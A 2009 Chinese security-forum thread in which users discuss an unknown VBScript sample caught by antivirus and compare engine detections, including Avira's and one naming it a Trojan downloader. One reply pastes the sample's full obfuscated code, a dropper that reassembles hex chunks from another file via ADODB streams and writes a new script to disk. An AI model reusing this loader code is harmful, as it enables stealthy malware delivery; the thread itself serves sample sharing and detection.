病毒版块好冷没人比原来 kv主动防御截获一个未知vbs

adad2008

原来很多人测试上报病毒

[ 本帖最后由 adad2008 于 2009-11-21 14:08 编辑 ]

cocplay

文件损坏，打不开

adad2008

原帖由 cocplay 于 2009-11-21 13:03 发表
文件损坏，打不开

后缀vbs改成了rar

[ 本帖最后由 adad2008 于 2009-11-21 13:07 编辑 ]

月光下的忍者

On ERRoR rEsume neXT:z=1:Do:SET G=crEAteOBJecT("scRipTIng.fIlesySTemObjEct"):dO wHILe g.FiLEeXISts("C:\xjjucs.vbs")=falsE:WScrIPt.SlEEP(1000):lOop:SEt E=G.oPEnTExtFilE("C:\xjjucs.vbs",1):dO WHiLE e.ATEndOfstreaM=FaLse:f=E.ReADLinE:M=len(f):S=LeFT(F,2):select CASE TrUe:case ISNuMeRIC(S)=FALse:CASe m=3948+3 AND INt(S)=Z:U=u+Mid(F,3,3948):z=z+1:caSE M=752+3 And int(s)=z:U=u+MID(f,3,752):Z=Z+1:end SEleCT:LoOp:e.clOSe:IF 13+1=Z theN:x=LEn(u)/2:Set h=CREATEOBjECt("adoDB.reCORDSet"):H.fielDs.APpeND "M",205,x:H.oPEn:h.ADDNew:h("M")=U:h.uPdatE:u=H("M").gEtCHuNK(x):set Q=cREaTEOBjEcT("adoDb.stReaM"):WItH q:.modE=3:.tYpe=1:.oPen():.wrITE u:.SAVETofIlE "C:\hoswjty.vbs",2:end WIth:wscRiPt.qUIT:eNd IF:wscrIPt.SLEep(200):LOop

a256886572008

樓上會害  某些人以為 卡飯掛馬了

王子带着刀

红伞报 过小A

悠柚

Begin scan in 'D:\TDDownload\bxjjt.vbs'
D:\TDDownload\bxjjt.vbs
    [DETECTION] Contains recognition pattern of the HTML/ADODB.Exploit.Gen HTML script virus

fatezero

被以下病毒感染：Trojan-Downloader.VBS.Small.in

feixinglake

红伞报  HTML/ADODB.Exploit.Gen

BING126

McAfee miss